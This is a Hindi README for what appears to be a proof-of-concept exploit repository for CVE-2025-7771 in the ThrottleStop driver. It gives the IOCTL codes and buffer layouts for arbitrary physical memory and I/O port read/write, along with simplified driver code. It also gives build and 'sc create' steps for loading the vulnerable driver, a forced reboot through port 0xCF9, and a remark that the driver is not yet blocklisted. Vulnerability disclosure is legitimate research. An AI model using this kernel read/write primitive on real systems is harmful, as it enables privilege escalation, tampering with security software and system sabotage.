
CVE-2025-7771: ThrottleStop ड्राइवर के माध्यम से मनमानी भौतिक मेमोरी और I/O पोर्ट पढ़ने/लिखने की क्षमता
CVE-2025-7771: ThrottleStop ड्राइवर के माध्यम से मनमानी भौतिक मेमोरी और I/O पोर्ट पढ़ना/लिखना
ThrottleStop एक छोटा वैध एप्लिकेशन है जिसका उपयोग CPU थ्रॉटलिंग की निगरानी और सुधार के लिए किया जाता है। इसमें एक ड्राइवर है जो इन कार्यों को सुविधाजनक बनाता है और इसमें अधिकतर कोई इनपुट सत्यापन नहीं है।
| IOCTL | कमजोरी |
|---|---|
| 0x80006498 | मनमानी मेमोरी पढ़ना |
| 0x8000649C | मनमानी मेमोरी लिखना |
| 0x80006430 | मनमाना पोर्ट पढ़ना |
| 0x80006434 | मनमाना पोर्ट लिखना |
ऐसा लगता है कि मनमाना MSR पढ़ना और लिखना भी है, लेकिन मैं उन्हें काम करने में सक्षम नहीं हुआ।
बेझिझक स्वयं देख लें।
MSR पढ़ना 0x80006448 पर और लिखना 0x8000644C पर है।
यदि आप इसे काम करने में सक्षम हैं, तो कृपया प्रक्रिया का वर्णन करते हुए एक issue सबमिट करें।
नीचे उल्लिखित सभी IOCTL कॉल Exploit.c फ़ाइल में लागू किए गए हैं।
0x80006498 IOCTL किसी भी प्रदान किए गए भौतिक पते को MmMapIoSpace का उपयोग करके कर्नेल स्पेस में मैप करता है और उसमें से 1, 2, 4, या 8 बाइट्स पढ़ता है। डेटा फिर उपयोगकर्ता स्पेस में वापस कॉपी किया जाता है।
इस IOCTL को ट्रिगर करने के लिए, भौतिक पते को इनपुट और आउटपुट बफर आकार को पढ़ने के आकार (1, 2, 4, या 8) के रूप में DeviceIoControl का उपयोग करें।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x80006498: {
size_t readSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, readSize, MmNonCached);
if (mappedAddr) {
if (readSize == 1)
*outputBuffer = *(uint8_t*)mappedAddr;
else if (readSize == 2)
*(uint16_t*)outputBuffer = *(uint16_t*)mappedAddr;
else if (readSize == 4)
*(uint32_t*)outputBuffer = *(uint32_t*)mappedAddr;
else if (readSize == 8)
*(uint64_t*)outputBuffer = *(uint64_t*)mappedAddr;
MmUnmapIoSpace(mappedAddr, readSize);
}
}
पढ़ने के समान, 0x8000649C IOCTL प्रदान किए गए भौतिक पते को MmMapIoSpace का उपयोग करके कर्नेल स्पेस में मैप करता है और उसमें से 1, 2, 4, या 8 बाइट्स पढ़ता है।
इस IOCTL को ट्रिगर करने के लिए, निम्नलिखित इनपुट बफ़र लेआउट के साथ DeviceIoControl का उपयोग करें:
struct {
ULONGLONG PhysicalAddress; // 8 bytes
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
QWORD Value64;
};
};
इनपुट बफर का आकार लिखने के आकार के अनुसार 8 + (1, 2, 4, या 8) होगा।
आउटपुट बफर और आउटपुट बफर आकार का उपयोग नहीं किया जाता है।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x8000649C: {
size_t writeSize = inputBuffer->Size; // must be 1,2,4,8
PHYSICAL_ADDRESS physAddr = inputBuffer->PhysAddr;
void* mappedAddr = MmMapIoSpace(physAddr, writeSize, MmNonCached);
if (mappedAddr) {
if (writeSize == 1)
*(uint8_t*)mappedAddr = inputBuffer->Value8;
else if (writeSize == 2)
*(uint16_t*)mappedAddr = inputBuffer->Value16;
else if (writeSize == 4)
*(uint32_t*)mappedAddr = inputBuffer->Value32;
else if (writeSize == 8)
*(uint64_t*)mappedAddr = inputBuffer->Value64;
MmUnmapIoSpace(mappedAddr, writeSize);
}
}
0x80006430 IOCTL उपयोगकर्ता को एक IO पोर्ट निर्दिष्ट करने और __inbyte, __inword, या __indword का उपयोग करके सीधे उससे पढ़ने की अनुमति देता है।
इनपुट बफर एक USHORT है और इनपुट बफर आकार sizeof(USHORT) होना चाहिए।
आउटपुट बफर परिणाम (अनुरोधित आकार के अनुसार 1, 2, या 4 बाइट) रखेगा और आउटपुट आकार 1, 2, या 4 हो सकता है।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x80006430: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
*outputBuffer = __inbyte(port);
else if (size == 2)
*(uint16_t*)outputBuffer = __inword(port);
else if (size == 4)
*(uint32_t*)outputBuffer = __indword(port);
}
पोर्ट पढ़ने के समान, 0x80006434 IOCTL उपयोगकर्ता को एक IO पोर्ट निर्दिष्ट करने और __outbyte, __outword, या __outdword के साथ उसमें मनमाने मान लिखने की अनुमति देता है।
इनपुट बफर लेआउट है:
struct {
USHORT PortNumber;
BYTE Padding[2]; // alignment
union {
BYTE Value8;
WORD Value16;
DWORD Value32;
};
};
इनपुट बफर आकार sizeof(USHORT) + sizeof(Value) (+ पैडिंग) होना चाहिए। आउटपुट बफर और उसका आकार उपयोग नहीं किया जाता है।
ड्राइवर में इस IOCTL के लिए सरलीकृत कोड:
case 0x80006434: {
uint16_t port = inputBuffer->PortNumber;
uint8_t size = inputBuffer->AccessSize; // 1, 2, or 4
if (size == 1)
__outbyte(port, inputBuffer->Value8);
else if (size == 2)
__outword(port, inputBuffer->Value16);
else if (size == 4)
__outdword(port, inputBuffer->Value32);
}
यह अनुवाद Superfetch का दुरुपयोग करके संभव है, जो एक वैध कर्नेल मॉड्यूल है जो अप्रलेखित API का उपयोग करके वर्चुअल से भौतिक पता अनुवाद को उजागर करता है। इसके लिए कोड vtop.c में लागू किया गया है।
इस प्रोजेक्ट को Meson का उपयोग करके संकलित किया जा सकता है। यह PsInitialSystemProcess का उपयोग करके System प्रक्रिया की EPROCESS संरचना को हल करके UniqueProcessId फ़ील्ड को पढ़ता है और जाँचता है कि क्या यह 4 है (Main.c में कार्यान्वित, और विशिष्ट PID के EPROCESS को खोजने के कार्य EProcess.c में लागू किए गए हैं)। इसके अतिरिक्त, यह उपयोगकर्ता से पूछता है कि क्या वे अपने सिस्टम को फोर्स-रीस्टार्ट करना चाहते हैं। यह पोर्ट 0xCF9 पर 0x0E मान लिखकर संभव है।
चेतावनी: सब कुछ Windows 11 build 24H2 पर परीक्षण किया गया था। आपके सिस्टम पर EPROCESS संरचना में ऑफसेट भिन्न हो सकते हैं।
प्रोजेक्ट को इस प्रकार बनाएँ
meson setup build
यह build निर्देशिका बनाएगा। अब प्रोजेक्ट को संकलित करें
meson compile -C build
ड्राइवर रिपॉजिटरी की Drivers निर्देशिका में उपलब्ध है। ThrottleStop ड्राइवरों को Resource Hacker के माध्यम से सीधे ThrottleStop.exe प्रोग्राम से निकाला जा सकता है। आपको 2 ड्राइवर मिलेंगे - x64 और x86। DriverObject->MajorFunction[14] डिस्पैच फ़ंक्शन रखता है जहाँ सभी IOCTL लागू किए गए हैं।
ड्राइवर बनाएँ और प्रारंभ करें:
sc create ThrottleStop binPath="<Path>" type=kernel
sc start ThrottleStop
https://github.com/jonomango/superfetch
यह ड्राइवर अभी तक Microsoft ड्राइवर ब्लॉक सूची या loldrivers में नहीं जोड़ा गया है।